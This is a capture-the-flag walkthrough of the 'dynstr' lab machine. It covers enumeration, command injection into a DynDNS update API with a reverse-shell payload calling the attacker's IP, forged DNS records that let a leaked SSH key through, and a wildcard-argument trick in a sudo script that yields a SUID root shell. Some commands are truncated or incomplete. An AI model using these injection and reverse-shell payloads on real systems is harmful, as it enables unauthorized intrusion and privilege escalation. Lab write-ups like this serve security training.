dynstr

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.71.147
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 11:14 EDT
Nmap scan report for 10.129.71.147
Host is up (0.10s latency).
Not shown: 65327 filtered tcp ports (no-response), 205 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

HTTP + DNS Enum

This was a corporate page for a DNS service:

At the bottom, it appears we have to add dyna.htb to the /etc/hosts file:

Also, there is some information on the page:

Since DNS is open, we can use dig:

$ dig @10.129.71.147 dyna.htb 

; <<>> DiG 9.18.12-1-Debian <<>> @10.129.71.147 dyna.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39181
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 25dab4fc14a41eb001000000645a64350a151f2a2603b577 (good)
;; QUESTION SECTION:
;dyna.htb.                      IN      A

;; AUTHORITY SECTION:
dyna.htb.               60      IN      SOA     dns1.dyna.htb. hostmaster.dyna.htb. 2021030302 21600 3600 604800 60

;; Query time: 7 msec
;; SERVER: 10.129.71.147#53(10.129.71.147) (UDP)
;; WHEN: Tue May 09 11:18:16 EDT 2023
;; MSG SIZE  rcvd: 11

There is a hostmaster subdomain present, but it loads the same page. I ran a gobusterscan on the hostmaster subdomain in case it was different.

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://hostmaster.dyna.htb -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://hostmaster.dyna.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2023/05/09 11:20:29 Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 327] [-> http://hostmaster.dyna.htb/assets/]
/nic                  (Status: 301) [Size: 324] [-> http://hostmaster.dyna.htb/nic/]

/nic? Loading it shows nothing, so let's do another gobuster scan.

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://hostmaster.dyna.htb/nic -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://hostmaster.dyna.htb/nic
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2023/05/09 11:20:57 Starting gobuster in directory enumeration mode
===============================================================
/update               (Status: 200) [Size: 8]

$ curl http://hostmaster.dyna.htb/nic/update        
badauth

Weird. Googling "badauth DNS" shows us ths is an error caused by a DNS software called DynDns:

Googling /nic/update reveals that this is actually an API that we can access:

This requires credentials, which we had found earlier, so let's try to use this API.

$ curl http://dynadns:sndanyd@dyna.htb/nic/update?hostname=10.10.14.13
911 [wrngdom: 10.14.13]

Since this is taking our input and sending it somewhere, I tried some basic RCE injection.

$ curl -G --data-urlencode 'hostname=10.10.14.13; curl 10.10.14.13/rce' http://dynadns:sndanyd@dyna.htb/nic/update
911 [wrngdom: 10.14.13; curl 10.10.14.13/rce]

$ curl -G --data-urlencode 'hostname=$(curl 10.10.14.13/rce)' http://dynadns:sndanyd@dyna.htb/nic/update 
911 [wrngdom: 10.14.13/rce)]

For some reaosn, it's having trouble displaying our IP address. It seems limited to 8 characters, so let's try to change our IP address to decimal mode. After some testing involving the different subdomains, we can find one that works:

$ curl -G --data-urlencode 'hostname=$(curl 168431117/rce).no-ip.htb' http://dynadns:sndanyd@dyna.htb/nic/update 
911 [nsupdate failed]
$ curl -G --data-urlencode 'hostname=$(bash -c "bash -i >& /dev/tcp/168431117/4444 0>&1").no-ip.htb' http://dynadns:sndanyd@dyna.htb/nic/updat

Privilege Escalation

We can't grab the user flag yet. There are 2 other users on the machine:

www-data@dynstr:/home$ ls -la
total 16
drwxr-xr-x  4 root    root    4096 Mar 15  2021 .
drwxr-xr-x 18 root    root    4096 May 25  2021 ..
drwxr-xr-x  5 bindmgr bindmgr 4096 Mar 15  2021 bindmgr
drwxr-xr-x  3 dyna    dyna    4096 Mar 18  2021 dyna

Bindmgr Shell

Within the bindmgr directory, there is a support case folder:

www-data@dynstr:/home/bindmgr$ ls
support-case-C62796521  user.txt

Within it, there are some folders for a script:

www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -la
total 436
drwxr-xr-x 2 bindmgr bindmgr   4096 Mar 13  2021 .
drwxr-xr-x 5 bindmgr bindmgr   4096 Mar 15  2021 ..
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13  2021 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29312 Mar 13  2021 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr   1175 Mar 13  2021 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13  2021 strace-C62796521.txt

When we read the debug script, we can find a SSH private key within it:

I tried to use this to ssh in as the user, but it seems that we are being blocked. On enumeration of the authorized_keys file, we cansee that it only accepts requests from *.infra.dyna.htb.

www-data@dynstr:/home/bindmgr/.ssh$ cat authorized_keys 
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen

The next step here would be to update the DNS records using nsupdate such that a new domain would point to our machine and allow us to ssh in using the key we found. The hint here is to use bind, and this would require a key file from /etc/bind.

www-data@dynstr:/etc/bind$ ls
bind.keys  db.empty   named.bindmgr             named.conf.options
db.0       db.local   named.conf                rndc.key
db.127     ddns.key   named.conf.default-zones  zones.rfc1918
db.255     infra.key  named.conf.local

The infra.key file is readable by us, so let's use that with the -k flag using nsupdate. For this particular case, since we are using ssh, we want the IP address to be resolvable from the domain name and vice versa. This means that we need to add both a PTR and an A type DNS record within the server. I had to use a writeup for this since I wasn't too familiar with DNS records.

www-data@dynstr:/etc/bind$ nsupdate -k infra.key 
> server 127.0.0.1
> zone dyna.htb
> update add rouvin.infra.dyna.htb 86400 A 10.10.14.13
> send
> zone 10.in-addr.arpa
> update add 13.14.10.10.in-addr.arpa 86400 PTR rouvin.infra.dyna.htb
> send

Afterwards, we can ssh in as the user:

Sudo

When checking sudo privileges, this is what we see:

bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

Here's the contents of the script:

#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#       named.conf.bindmgr. 
#
# TODO: Currently the script is only adding files to the directory but
#       not deleting them. As we generate the list of files to be included
#       from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else 
    echo "[+] Configuration successfully staged."
    # *** TODO *** Uncomment restart once we are live.
    # systemctl restart bind9
    if [[ $? -ne 0 ]] ; then
        echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
        systemctl status bind9
    else
        echo "[+] Restart of bind9 via systemctl succeeded."
    fi
fi

The vulnerability is in the usage of the wildcard.

cp .version * /etc/bind/named.bindmgr/

Because this specified a wildcard and we can run it as root, this means we can preserve or copy file permissions (like SUID) over to other binaries using the --preserve=mode flag.

First, we need to create a .version file with 42 within it because the script checks for the version run. Then, we can create a folder named --preserve=mode which abuses the wildcard and makes the file we created a flag.

Then, we need to do cp /bin/bash to our file, and run the script using sudo:

echo > '--preserve=mode'
cp /bin/bash
chmod 4777 bash
echo 42 > .version
sudo /usr/local/bin/bindmgr.sh
/etc/bind/named.bindmgr/bash -p

Last updated